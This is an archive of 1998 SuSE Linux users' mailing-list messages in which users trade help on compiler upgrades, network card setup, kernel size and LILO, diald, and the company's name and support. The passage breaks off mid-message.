--Ray


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From striepe@geo.uni-bonn.de Wed Jun 24 16:00:18 1998
From: striepe@geo.uni-bonn.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] g77 and egcs
Date: Wed, 24 Jun 1998 18:00:18 +0200
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> 
> Hi all, 
> I have suse 5.2 which comes with g77 version 0.5.19 and gcc 2.7.2.1. The
> simulation package I need to link my fortran code require 0.5.21 which is 
> part of newer version of gcc. But when I try to upgrade my gcc to 2.7.2.3,
> I see that there are many dependencies. I am wondering if anyone here
> running suse 5.2 has successfully upgraded their g77/gcc to either 2.7.2.3
> or to egcs. Which one is recommanded? Which one has more f90 extensions?
> Can gcc and egcs coexist? 
> 
> Thanks,
> Ramin Sina   
> 

Hi!

The newest version of g77/gcc-2.7 is g77-0.5.22 + gcc-2.7.2.3.
I had no problems exchanging gcc,
I uninstalled gcc with yast after compilation of the new gcc,
and before installing the new gcc.
Had to set a new link to cpp,
and changes manually a few other things,
by looking at where files from the susse-gcc went.
I don't know about f90 and g77 or egcs/g77,
but there shouldn't be such a difference.
presume setting up egcs is more work,
I'd try the above first and see how far I'd get with it.
Oyu shopuld be able to have two c-compilers ,
but I don't know what you have to take care off,
or prblems arising from that.

arnulf

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From subb3@ibm.net Wed Jun 24 16:37:05 1998
From: subb3@ibm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Network - Setup
Date: Wed, 24 Jun 1998 12:37:05 -0400
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Hello,

I am new to SuSE. I installed SuSE on my machine and used YAST to
configure the network.
After I restarted the system, the "ifconfig" command, shows the loopback
device and dummy device.
It did not find the eth0 device. How do I get the system to find the
eth0 device?

Thank you.

Subba Rao
subb3(a)ibm.net

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From nelsen@telusplanet.net Wed Jun 24 16:54:57 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Wed, 24 Jun 1998 10:54:57 -0600
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At 6/24/1998, you wrote:
>
>
SuSE Linux is a linux distribution by the German firm SuSE (have a look at
www.suse.com) wich is also available in English.  It is very easy to
install, a bootable CD with self installer.  If you get the commercial
version, I am told that it features a very good handbook and 60 days of
installation support.  The latest version I think is 5.2.  I got the GSL
version from www.lsl.com.

S.u.S.E. is the abbreviation for:

Gesellschaft fur Software-und Systementwicklung mbH
                 ^        ^   ^     ^ 

which could be translated as 'Development of Software and Systems.'

After the name there is mbh or Gmbh.  

GmbH is the German counterpart of Ltd.

Why is it "mbH" after the full name but "GmbH" after the abbreviation?

mbH - mit beschraenkter Haftung = with limited liability

and the "G" stands for Gesellschaft = society (literally translated), Company.

I'm open to correction on all of this. :>)

Dave
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From jon@jonl.demon.co.uk Wed Jun 24 18:45:24 1998
From: jon@jonl.demon.co.uk
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Help with news
Date: Wed, 24 Jun 1998 18:45:24 +0000
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Hi, has anybody got an easy to follow doc that goes through the setup for
a news feed. I am using SuSE 5.2 and connect to Demon Internet. I have an
old setup doc for Slackware but there seems to be quite a difference in
file locations.
Any help would be really appreciated

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From nelsen@telusplanet.net Wed Jun 24 18:51:27 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Printer id
Date: Wed, 24 Jun 1998 12:51:27 -0600
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At 6/24/1998, you wrote:
>Start up yast and set up you printer from there. 

Thanks for the come-back.  I figured out that yast can be run from the
command line [previously as a true newbie I was booting to the CD each time
that I wanted yast!] and so:

# yast
        system admin
                integrate hardware
                        config printer

and took the epson option.  Also discovered that my LPT1 on the DOS side is
lp0 when in Linux.  Anyway, it works.  Thanks again.

Dave
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From grimmer@suse.de Wed Jun 24 19:13:18 1998
From: grimmer@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Wed, 24 Jun 1998 21:13:18 +0200
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Hi,

David Nelsen wrote:

> Gesellschaft fur Software-und Systementwicklung mbH

> which could be translated as 'Development of Software and Systems.'
>=20
> After the name there is mbh or Gmbh.
>=20
> GmbH is the German counterpart of Ltd.
>=20
> Why is it "mbH" after the full name but "GmbH" after the abbreviation?

Because "Gesellschaft" is already in the Name :^)
=20
> mbH - mit beschraenkter Haftung =3D with limited liability
>=20
> and the "G" stands for Gesellschaft =3D society (literally translated), Com=
pany.
> I'm open to correction on all of this. :>)

No corrections necessary. Well done!

LenZ


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From brian.jones3@virgin.net Wed Jun 24 19:46:16 1998
From: brian.jones3@virgin.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] g77 and egcs
Date: Wed, 24 Jun 1998 20:46:16 +0100
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Arnulf Striepecke wrote:
> 
> >
> > Hi all,
> > I have suse 5.2 which comes with g77 version 0.5.19 and gcc 2.7.2.1. The
> > simulation package I need to link my fortran code require 0.5.21 which is
> > part of newer version of gcc. But when I try to upgrade my gcc to 2.7.2.3,
> > I see that there are many dependencies. I am wondering if anyone here
> > running suse 5.2 has successfully upgraded their g77/gcc to either 2.7.2.3
> > or to egcs. Which one is recommanded? Which one has more f90 extensions?
> > Can gcc and egcs coexist?
> >
> > Thanks,
> > Ramin Sina
> >
> 
> Hi!
> 
> The newest version of g77/gcc-2.7 is g77-0.5.22 + gcc-2.7.2.3.
> I had no problems exchanging gcc,
> I uninstalled gcc with yast after compilation of the new gcc,
> and before installing the new gcc.
> Had to set a new link to cpp,
> and changes manually a few other things,
> by looking at where files from the susse-gcc went.
> I don't know about f90 and g77 or egcs/g77,
> but there shouldn't be such a difference.
> presume setting up egcs is more work,
> I'd try the above first and see how far I'd get with it.
> Oyu shopuld be able to have two c-compilers ,
> but I don't know what you have to take care off,
> or prblems arising from that.
> 
> arnulf
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I have just installed SuSE 5.2 clean & haven't got round to updating
everything yet, but before my rebuild I was using the latest stable gcc
(2.7.2.something I think) and had the full egcs suite installed in
/usr/local which is where it likes to install itself (if my memory is
correct).

I was using egcs so that I could compile Fortran 90 with the Vast F90
preprocessor (I had a quick try with the g77 in SuSE 5.2 & it seemed to
be missing some F90-esque extensions but I might just have been in a
hurry). 

I am a great believer in keeping stable releases where they install
themselves & putting experimental stuff elsewhere - it does no harm to
keep a close eye on any makefiles and know what version of each package
you are using.

The short answer, then, is that I had no problem with gcc-2.7.2. and
egcs on the same system.

(BTW, take a look at Vast F90 if you are wanting to do F90 programming -
it's the only free way I've found to use the language. Look up
www.psrv.com).

Hope that helps,

Brian.
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From mclark@datsrvr.datsit.com Wed Jun 24 19:55:54 1998
From: mclark@datsrvr.datsit.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Network - Setup
Date: Wed, 24 Jun 1998 13:55:54 -0600
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Subba Rao wrote:

> Hello,
>
> I am new to SuSE. I installed SuSE on my machine and used YAST to
> configure the network.
> After I restarted the system, the "ifconfig" command, shows the loopback
> device and dummy device.
> It did not find the eth0 device. How do I get the system to find the
> eth0 device?
>
> Thank you.
>
> Subba Rao
> subb3(a)ibm.net
>
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I am guessing that you do not have your network card loaded.  Have you
recompiled the kernel to include support for your card??
If you have modular support for your card, you can type:

lsmod

to see what modules are loaded.  If the card is not loaded, you can load it
manually by typing:

insmod [module_name_here]
I use:  insmod /lib/modules/2.0.33/net/3c509.o

then use ifconfig to down the dummy0 network and bring up the eth0

ifconfig dummy0 down
ifconfig eth0 up

hope that helps

mc

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From darkstar@charm.net Wed Jun 24 20:03:40 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE 5.2 Kernel Size
Date: Wed, 24 Jun 1998 16:03:40 -0400
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Hello.

I have "as much as possible" configrued as loadable modules. Why is my
kernel size still too big for lilo?

Is it worthwhile to post my configuration too see what else can be loaded
as modules?=20

I would really like to be able to boot my system with lilo.

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From hlarons@mail.comcat.com Wed Jun 24 20:40:26 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Wed, 24 Jun 1998 16:40:26 -0400
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On Wed, Jun 24, 1998 at 10:54:57AM -0600, nelsen(a)telusplanet.net wrote:
> 
>  It is very easy to
> install, a bootable CD with self installer.

I agree with that. It is easy to install, YaST is a good sys admin tool,
and the comm'l distribution (I have SuSE 5.2) has tons of nice apps. BUT,
see below for the darker side (IMHO).

>If you get the commercial
> version, I am told that it features a very good handbook and 60 days of
> installation support.



NOT true, in my (limited, newbie) experience. The manual really pertains,
at least in part, to versions older that 5.2. Of equal concern is the
quality of the German -> English translation. Sometimes it's just funny
but clear, but other times there's no hope of getting the meaning intended.

Technical support is poor to nonexistent, except for the folks (SuSE and
others) on this list. Phone support isn't toll free (in the US) and is only
available on Tue and Fri. E-mail support has not worked for me 2 out of 2 
times.



Howard Arons

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From phil@stokes.demon.co.uk Wed Jun 24 20:53:26 1998
From: phil@stokes.demon.co.uk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help with news
Date: Wed, 24 Jun 1998 21:53:26 +0100
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On Wed, 24 Jun 1998, Jon Lacey wrote:
> 
> Hi, has anybody got an easy to follow doc that goes through the setup for
> a news feed. I am using SuSE 5.2 and connect to Demon Internet. I have an
> old setup doc for Slackware but there seems to be quite a difference in
> file locations.
> Any help would be really appreciated

Reply sent direct to Jon by mail, as it's fairly long and probably of
little interest to most people on the list. 

Phil

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From mantel@suse.de Wed Jun 24 20:58:24 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: PCI modem
Date: Wed, 24 Jun 1998 22:58:24 +0200
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Hi,

On Wed, 24 Jun 1998, Dark Way wrote:

> Would you or anyone happen to know why when installing linux except suse 
> eide003*pci bios access disabled* the system reboots?

You have a broken motherboard/BIOS. In some cases updating the BIOS helps. 
If you do not use any PCI components, you can live with this restriction
and wait for 2.2.0.  In kernel 2.1.x you are able to specify the way the
kernel accesses the PCI BIOS. From Configure.help (2.1.106): 

PCI BIOS support
CONFIG_PCI_BIOS
  If you have enabled PCI bus support above, you probably want to
  allow Linux to use your PCI BIOS to detect the PCI devices and
  determine their configuration. Note: some old PCI motherboards have
  BIOS bugs and may crash if you say Y here -- for such motherboards,
  you should say N here and say Y to "PCI direct access support"
  instead.

  Except for some special cases (embedded systems with no BIOS), you
  probably should say Y here.

PCI direct access support
CONFIG_PCI_DIRECT
  If you don't want to use the PCI BIOS (e.g., because you run some
  embedded system with no BIOS at all) or Linux says it cannot use
  your PCI BIOS, you can enable direct PCI hardware here. It might fail
  if your machine is based on some unusual chipset, but it usually
  works. If both PCI BIOS and direct PCI access are enabled, the use
  of BIOS is preferred. If unsure, say Y.

    Hubert

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From mantel@suse.de Wed Jun 24 21:00:49 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: SuSE 5.2 Kernel Size
Date: Wed, 24 Jun 1998 23:00:49 +0200
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Hi,

On Wed, 24 Jun 1998, DarkStar wrote:

> I have "as much as possible" configrued as loadable modules. Why is my
> kernel size still too big for lilo?

Are you trying to install the uncompressed kernel image "vmlinux" instead
of "zImage"?
Which command do you use to install the new kernel ("make zlilo" should do
the right thing).

> Is it worthwhile to post my configuration too see what else can be loaded
> as modules? 

This could make sense. Another thing to try is to build a bzImage instead
of a zImage (just "make bzlilo" instead of "make zlilo").

> I would really like to be able to boot my system with lilo.
> ----
> Welcome to my virtual reality!
> darkstar(a)charm.net       Edwin Brown

    Hubert

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From lsayre@integrityonline13.com Wed Jun 24 21:40:55 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] httpd can't find local host name
Date: Wed, 24 Jun 1998 16:40:55 -0500
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Bodo Bauer wrote:
>=20
> Wolfgang Weisselberg wrote:
> >
> > Hi!
> >
> > Trying to kill the keyboard, lsayre(a)integrityonline13.com produced:
> > > On boot, httpd gives me the message "can'find local host name".
> >
> > in /etc/rc.config (or better, use YaST, so the change will be
> > propagated immediately) set
> > FQHOSTNAME=3D"my-hostname.do.main.com"
> > or whatever your full qualified hostname is.
> >
> > in /etc/hosts set
> > 0.0.0.0 my-hostname.do.main.com my-hostname my-alias-hostname
> >
> > (e.g. if your machine should have the name alice-is-great in the (not
> > neccessarily existing) domain wonderland.org, but also (locally only)
> > listen to alice-is-great and alice (alice-is-great.wonderland.org is a
> > bit long and localhost is a bit unimaginative), set:
> >
> > FQHOSTNAME=3D"alice-is-great.wonderland.org"
> > and
> > 0.0.0.0 alice-is-great.wonderland.org alice-is-great alice
>=20
> Please don't use 0.0.0.0 as IP address, use something like 192.168.x.y
> or 10.x.y.z for private networks...
>=20
> However, there is an other way to get this solved. You can tell Apache
> which hostname to use. In /etc/httpd/httpd.conf, you can set the hostname:
>=20
> # ServerName allows you to set a host name which is sent back to clients for
> # your server if it's different than the one the program would get (i.e. use
> # "www" instead of the host's real name).
> #
> # Note: You cannot just invent host names and hope they work. The name you
> # define here must be a valid DNS name for your host. If you don't understa=
nd
> # this, ask your network administrator.
>=20
> #ServerName new.host.name
>=20
> Ciao,
>         BB
>=20
> --
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> bb(a)suse.de            458 Santa Clara Avenue         fax +1-510-835 7875
> http://w=
ww.suse.com>   Oakland CA, 94610  USA
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This worked!  Thank you!!!

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From tanc@cuug.ab.ca Wed Jun 24 21:46:27 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Wed, 24 Jun 1998 15:46:27 -0600
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I have been using S.u.S.E. Linux since 5.1 and I have been very happy with
it.  I don't know that much about the manual because I hate to read
manuals unless I ultimately have to do that.  But when I do read it, I
find it very informative.  One thing that I have gotten used to with any
Liinux distribution is: don't expect any technical support from the
vendor.  So just hope that whatever comes out of the vendor's door is
perfect, or closest to perfect.  Then it is up to you to do the rest,
making sure that it works on your machine.  It is also when I have to dig
around the system that I leant most.  If you think S.u.S.E. is bad, try
Red Hat and you will appreciate how good S.u.S.E. is. =20

On Wed, 24 Jun 1998, Howard Arons wrote:

>=20
> On Wed, Jun 24, 1998 at 10:54:57AM -0600, nelsen(a)telusplanet.net wrote:
> >=20
> >  It is very easy to
> > install, a bootable CD with self installer.
>=20
> I agree with that. It is easy to install, YaST is a good sys admin tool,
> and the comm'l distribution (I have SuSE 5.2) has tons of nice apps. BUT,
> see below for the darker side (IMHO).
>=20
> >If you get the commercial
> > version, I am told that it features a very good handbook and 60 days of
> > installation support.
>=20
> 
>=20
> NOT true, in my (limited, newbie) experience. The manual really pertains,
> at least in part, to versions older that 5.2. Of equal concern is the
> quality of the German -> English translation. Sometimes it's just funny
> but clear, but other times there's no hope of getting the meaning intended.
>=20
> Technical support is poor to nonexistent, except for the folks (SuSE and
> others) on this list. Phone support isn't toll free (in the US) and is only
> available on Tue and Fri. E-mail support has not worked for me 2 out of 2=20
> times.
>=20
> 
>=20
> Howard Arons
> --=20
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From tanc@cuug.ab.ca Wed Jun 24 21:47:31 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2 Kernel Size
Date: Wed, 24 Jun 1998 15:47:31 -0600
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Read the kernel HOWTO.  There are instructions in there to get the kernel
compressed. =20

On Wed, 24 Jun 1998, DarkStar wrote:

>=20
>=20
> Hello.
>=20
> I have "as much as possible" configrued as loadable modules. Why is my
> kernel size still too big for lilo?
>=20
> Is it worthwhile to post my configuration too see what else can be loaded
> as modules?=20
>=20
> I would really like to be able to boot my system with lilo.
> ----
> Welcome to my virtual reality!
> darkstar(a)charm.net       Edwin Brown
> http://www.charm.net/~darkstar>
>=20
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From tanc@cuug.ab.ca Wed Jun 24 21:49:41 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Network - Setup
Date: Wed, 24 Jun 1998 15:49:41 -0600
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To bring 'dummy' down, go into /etc/rc.config and change the line for
'dummy' so that during boot up 'dummy' is not even brought up.  While you
are at it, you may configure the settings for the ethernet card in the
same file as well. =20

On Wed, 24 Jun 1998, Michael Clark wrote:

>=20
> Subba Rao wrote:
>=20
> > Hello,
> >
> > I am new to SuSE. I installed SuSE on my machine and used YAST to
> > configure the network.
> > After I restarted the system, the "ifconfig" command, shows the loopback
> > device and dummy device.
> > It did not find the eth0 device. How do I get the system to find the
> > eth0 device?
> >
> > Thank you.
> >
> > Subba Rao
> > subb3(a)ibm.net
> >
> > -
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>=20
> I am guessing that you do not have your network card loaded.  Have you
> recompiled the kernel to include support for your card??
> If you have modular support for your card, you can type:
>=20
> lsmod
>=20
> to see what modules are loaded.  If the card is not loaded, you can load it
> manually by typing:
>=20
> insmod [module_name_here]
> I use:  insmod /lib/modules/2.0.33/net/3c509.o
>=20
> then use ifconfig to down the dummy0 network and bring up the eth0
>=20
> ifconfig dummy0 down
> ifconfig eth0 up
>=20
> hope that helps
>=20
> mc
>=20
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From tanc@cuug.ab.ca Wed Jun 24 21:52:43 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: SuSE 5.2 Kernel Size
Date: Wed, 24 Jun 1998 15:52:43 -0600
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The commands that I usually use are:

make dep; make clean; make zImage; make modules; make install; make
modules_install

I am wondering if you are having so many different types of hardware that
you need to have all of them compiled into the kernel.  What are you
trying to do with the machine anyway? =20

On Wed, 24 Jun 1998, Hubert Mantel wrote:

>=20
> Hi,
>=20
> On Wed, 24 Jun 1998, DarkStar wrote:
>=20
> > I have "as much as possible" configrued as loadable modules. Why is my
> > kernel size still too big for lilo?
>=20
> Are you trying to install the uncompressed kernel image "vmlinux" instead
> of "zImage"?
> Which command do you use to install the new kernel ("make zlilo" should do
> the right thing).
>=20
> > Is it worthwhile to post my configuration too see what else can be loaded
> > as modules?=20
>=20
> This could make sense. Another thing to try is to build a bzImage instead
> of a zImage (just "make bzlilo" instead of "make zlilo").
>=20
> > I would really like to be able to boot my system with lilo.
> > ----
> > Welcome to my virtual reality!
> > darkstar(a)charm.net       Edwin Brown
>=20
>     Hubert
>=20
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From darkstar@charm.net Wed Jun 24 22:32:18 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: SuSE 5.2 Kernel Size
Date: Wed, 24 Jun 1998 18:32:18 -0400
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On Wed, 24 Jun 1998, Hubert Mantel wrote:

>=20
> Hi,
>=20
> On Wed, 24 Jun 1998, DarkStar wrote:
>=20
> > I have "as much as possible" configrued as loadable modules. Why is my
> > kernel size still too big for lilo?
>=20
> Are you trying to install the uncompressed kernel image "vmlinux" instead
> of "zImage"?

I do a 'make zImage' and a vmlinux is created in the /usr/src/linux
directory.=20

When I do a 'make zlilo' it gives an error that the executable is too big.

> Which command do you use to install the new kernel ("make zlilo" should do
> the right thing).
>=20
> > Is it worthwhile to post my configuration too see what else can be loaded
> > as modules?=20
>=20
> This could make sense. Another thing to try is to build a bzImage instead
> of a zImage (just "make bzlilo" instead of "make zlilo").
>=20
> > I would really like to be able to boot my system with lilo.
> > ----
> > Welcome to my virtual reality!
> > darkstar(a)charm.net       Edwin Brown
>=20
>     Hubert
>=20
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From darkstar@charm.net Wed Jun 24 22:39:00 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2 Kernel Size
Date: Wed, 24 Jun 1998 18:39:00 -0400
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On Wed, 24 Jun 1998, C. J. Kenneth Tan wrote:

> Read the kernel HOWTO.  There are instructions in there to get the kernel
> compressed. =20

*DOH*
I feel sooooo stupid.
=20
>=20
>=20
> On Wed, 24 Jun 1998, DarkStar wrote:
>=20
> >=20
> >=20
> > Hello.
> >=20
> > I have "as much as possible" configrued as loadable modules. Why is my
> > kernel size still too big for lilo?
> >=20
> > Is it worthwhile to post my configuration too see what else can be loaded
> > as modules?=20
> >=20
> > I would really like to be able to boot my system with lilo.
> > ----
> > Welcome to my virtual reality!
> > darkstar(a)charm.net       Edwin Brown
> > http://www.charm.net/~darkstar>
> >=20
> > -
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>         tanc(a)cuug.ab.ca                            1-403-606-4257=20
> URL: http://www.cuug.ab.ca/~tanc>        Facsimile: 1-403-284-=
1980
>=20
>     	"An engineer made programmer is one=20
> 		who attempts to solve a problem,
>      	 A programmer made engineer is one=20
> 		who knows how to solve a problem."
> ---------------------------------------------------------------------------=
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From Adrian.Bellini@ex1.edt.ericsson.se Wed Jun 24 22:49:03 1998
From: Adrian.Bellini@ex1.edt.ericsson.se
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Re: SuSE 5.2 Kernel Size
Date: Thu, 25 Jun 1998 00:49:03 +0200
Message-ID: <610581951170D1119B7400805F8BFC7C0F72A6@esealnt104>
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hi
Another thing is to change down 2 levels in the directory, after
(re)compilation/ there are 2 lower levels of directors built, you should
use the vmlinux from there.
If you ls -l in /usr/scr/linux you'll find the ones i mean.
Clear as mud ??
ade

> -----Original Message-----
> From:	Hubert Mantel [SMTP:mantel(a)suse.de]
> Sent:	Wednesday, June 24, 1998 11:01 PM
> To:	suse-linux-e(a)suse.com
> Subject:	[S.u.S.E. Linux] Re: SuSE 5.2 Kernel Size
> 
> 
> Hi,
> 
> On Wed, 24 Jun 1998, DarkStar wrote:
> 
> > I have "as much as possible" configrued as loadable modules. Why is
> my
> > kernel size still too big for lilo?
> 
> Are you trying to install the uncompressed kernel image "vmlinux"
> instead
> of "zImage"?
> Which command do you use to install the new kernel ("make zlilo"
> should do
> the right thing).
> 
> > Is it worthwhile to post my configuration too see what else can be
> loaded
> > as modules? 
> 
> This could make sense. Another thing to try is to build a bzImage
> instead
> of a zImage (just "make bzlilo" instead of "make zlilo").
> 
> > I would really like to be able to boot my system with lilo.
> > ----
> > Welcome to my virtual reality!
> > darkstar(a)charm.net       Edwin Brown
> 
>     Hubert
> 
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From darkstar@charm.net Wed Jun 24 23:45:32 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Diald
Date: Wed, 24 Jun 1998 19:45:32 -0400
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using YAST, I can't seem to get diald working.
I have the ppp connection set up to use it, but when I try to use telnet
or netscape, without first doing ppp-up, I get a network not avialable
error.

The man page doesn't have examples, and I can't find a Diald help-to.

Any pointers?

TIA


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From Adrian.Bellini@ex1.edt.ericsson.se Thu Jun 25 00:24:59 1998
From: Adrian.Bellini@ex1.edt.ericsson.se
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Re: SuSE 5.2 Kernel Size
Date: Thu, 25 Jun 1998 02:24:59 +0200
Message-ID: <610581951170D1119B7400805F8BFC7C0F72A9@esealnt104>
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go down 2 levels and run the kernal from there

> -----Original Message-----
> From:	DarkStar [SMTP:darkstar(a)charm.net]
> Sent:	Thursday, June 25, 1998 12:32 AM
> To:	suse-linux-e(a)suse.com
> Subject:	Re: [S.u.S.E. Linux] Re: SuSE 5.2 Kernel Size
>=20
>=20
> On Wed, 24 Jun 1998, Hubert Mantel wrote:
>=20
> >=20
> > Hi,
> >=20
> > On Wed, 24 Jun 1998, DarkStar wrote:
> >=20
> > > I have "as much as possible" configrued as loadable modules. Why
> is my
> > > kernel size still too big for lilo?
> >=20
> > Are you trying to install the uncompressed kernel image "vmlinux"
> instead
> > of "zImage"?
>=20
>=20
> I do a 'make zImage' and a vmlinux is created in the /usr/src/linux
> directory.=20
>=20
> When I do a 'make zlilo' it gives an error that the executable is too
> big.
>=20
> > Which command do you use to install the new kernel ("make zlilo"
> should do
> > the right thing).
> >=20
> > > Is it worthwhile to post my configuration too see what else can be
> loaded
> > > as modules?=20
> >=20
> > This could make sense. Another thing to try is to build a bzImage
> instead
> > of a zImage (just "make bzlilo" instead of "make zlilo").
> >=20
> > > I would really like to be able to boot my system with lilo.
> > > ----
> > > Welcome to my virtual reality!
> > > darkstar(a)charm.net       Edwin Brown
> >=20
> >     Hubert
> >=20
> > -
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From rkeeley@dibbs.net Thu Jun 25 01:51:08 1998
From: rkeeley@dibbs.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Wed, 24 Jun 1998 20:51:08 -0500
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DarkStar wrote:

The man page doesn't have examples, and I can't find
a Diald help-to.

Man, you are NEVER going to see examples in unix, they don't believe in
it. It is part of their "nerdy" rite of passage that they make you pass,
before you learn Linux. That is part of the reason why Microstuff keeps
beating the pants off of Linux, when it should be other way around.  =20
Those few times when a Linux or Unix author gives you an example, it will
look like a diamond out there. You will feel like you just discovered somethi=
ng
new. Gads, this attitude has got to change. Sorry everyone, I just had
to sound off.

=20

--=20
73
Roy

Roy Keeley (KC4IMC)
rkeeley(a)dibbs.net
snail mail=3D Roy Keeley, 10675 Salt Aire Rd,E.,Theodore,AL 36582, USA
APS# 156954, ARA# 4750, C&LS# 162

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From arunkhan@xnet.com Thu Jun 25 02:22:31 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Network - Setup
Date: Wed, 24 Jun 1998 21:22:31 -0500
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C. J. Kenneth Tan wrote:
> 
> To bring 'dummy' down, go into /etc/rc.config and change the line for
> 'dummy' so that during boot up 'dummy' is not even brought up.  While you
> are at it, you may configure the settings for the ethernet card in the
> same file as well.
> 
> On Wed, 24 Jun 1998, Michael Clark wrote:
> 
> >
> > Subba Rao wrote:
> >
> > > Hello,
> > >
> > > I am new to SuSE. I installed SuSE on my machine and used YAST to
> > > configure the network.
> > > After I restarted the system, the "ifconfig" command, shows the loopback
> > > device and dummy device.
> > > It did not find the eth0 device. How do I get the system to find the
> > > eth0 device?
> > >
> > > Thank you.
> > >
> > > Subba Rao

I suggest using YaST i.s.o of editing /etc/rc.config directly. Most of
the system administration can be done using YaST.  It takes a little
while getting used to it.  It also updates relevant config files.  If
you find suggestions for the tool then send email to feedback(a)suse.de.

HTH
Arun Khan
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From hattons@cpkwebser5.ncr.disa.mil Thu Jun 25 02:42:41 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] ps -ef on 5.2 setenv PS_PERSONALITY POSIX {:-(
Date: Wed, 24 Jun 1998 22:42:41 -0400
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All,

When I was running 5.1, I found a way to get ps to display the process
information using the SVR4 format.  I find this format easier to use.=20
As I remember, all I had to do was setenv PS_PERSONALITY POSIX.  In
5.2 that feature seems to be missing.  I see that top will display
the type of format I like.  Top has its own drawbacks.  I would
like to be able to use ps in a way similar to the way Solaris implements
it.  Can anybody explain why this feature is not working for me?=20
Is there a way to get it to work?

TIA,

Steve

--=20


Yo
Bill!  Doo-bee, doo-bee, doo.

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
no human invention can counterfeit or alter, that God speaketh universally
to man. - Thomas Paine,  _The Age of Reason_

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of God; let a crown be placed thereon, by which; the world may know, that
so far as we approve of monarchy, that in America the law is king.=20
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From fmiller@lightlink.com Thu Jun 25 02:56:05 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] [Fwd: [Fwd: WebInquiry - USA]]
Date: Wed, 24 Jun 1998 22:56:05 -0400
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Let them know that there is a market for Adaptec software!

Fred


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There are no plans at this time to support this flavor of UNIX.
However, with requests such as yours coming in on a regular basis, we
have submitted every one to the product enhancement department.
Hopefully, someone will notice the demand for this agent and do
something about it.  Thank you for your input.

Thank You,
Paul Resnik
Certified NACSE Senior Network Specialist
Seagate Software Electronic Technical Support=20
Electronic Support Address:
	support(a)smg.seagatesoftware.com
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First Name:Fred A.
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but that will probably change in the near=20
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own Exec. Backup.  When are you going to
have a Linux (i386) version available?

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From darkstar@charm.net Thu Jun 25 02:57:32 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Wed, 24 Jun 1998 22:57:32 -0400
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Never mind, I figured it out.
Diald seems to be a weak point in their documentation.


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From fmiller@lightlink.com Thu Jun 25 02:59:22 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Behaviour
Date: Wed, 24 Jun 1998 22:59:22 -0400
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Jon Snidal wrote:
> 
> Hi, and thanks for your response.  The machine is an IBM Pentium 100
> (6885-PCH) with S3 Vision 864 video (1 meg) built-in and I am using the
> accelerated XServer (driver?) with SDAC and clock chip choices selected;
> also, an Adaptec 2940 SCSI adapter with Quantum Fireball discs.  It's not
> like it's a huge problem, but annoying nonetheless; it makes things seem
> kind of disjointed.  Each strange pause is accompanied by a disc access, I
> think.  And even then, this only develops when a few things get going!
> Thanks again -- Jon.

Jon....borrow a Matrox Mill. II or #9 video care....with at least 2mb on
it.  I think you'll find the answer.

Fred


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From leonmcclatchey@homemail.com Thu Jun 25 03:20:02 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Wed, 24 Jun 1998 22:20:02 -0500
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Roy Keeley wrote:

>  DarkStar wrote:
>
>> The man page doesn't have examples, and I can't find a Diald
>> help-to.
>
> Man, you are NEVER going to see examples in unix, they don't believe
> in it. It is part of their "nerdy" rite of passage that they make you
> pass, before you learn Linux. That is part of the reason why
> Microstuff keeps beating the pants off of Linux, when it should be
> other way around.    Those few

 Sorry, I've just got to disagree with you on this.  Most of the time, I
keep finding the answers for questions pertaining to Microsoft and IBM
(and other) operating systems somewhere deep within the Linux
Documentation.  As an example, One of the big questions that came up
concerned a "network shell" for win95 (I've got a Linux Box and a Win95
Box on a network).  I've read a book on Tcp/ip and am currently in the
process of reading a book on Netware.  Though both books do contain a
lot of interesting information, the answers that I was seeking I finally
found locally on my Linux box in the documentation for Samba!  I've
still got a couple of bugs to work out, but so far, I've got a
"lantastic type" connection working between my win95 box and my linux
box.

Another point was concerning tying my win95 box to my linux box and
using my linux box as a internet gateway.  I found the information on
that in the documentation about Apache (though I had to "upgrade" my
